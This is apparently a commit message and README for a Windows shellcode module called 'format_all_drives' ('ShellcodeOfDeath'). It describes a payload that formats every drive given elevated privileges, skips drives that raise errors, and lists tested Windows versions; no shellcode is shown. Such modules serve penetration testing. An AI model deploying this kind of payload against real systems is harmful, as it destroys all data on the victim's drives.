Add format_all_drives shellcode for Windows x86_x64

# format_all_drives a.k.a ShellcodeOfDeath

This shellcode is designed to format all the drives in Windows x86_x64. This shellcode requires `higher privileges` to format the drives. After formatting, it finally sets the `VOULMELABEL` as specified. If any **exception** occurs, it proceeds with next drive.  

### Tested on:
x86: Windows XP SP3, Windows 2003 SP2, Windows 7
x64: Windows 8.1
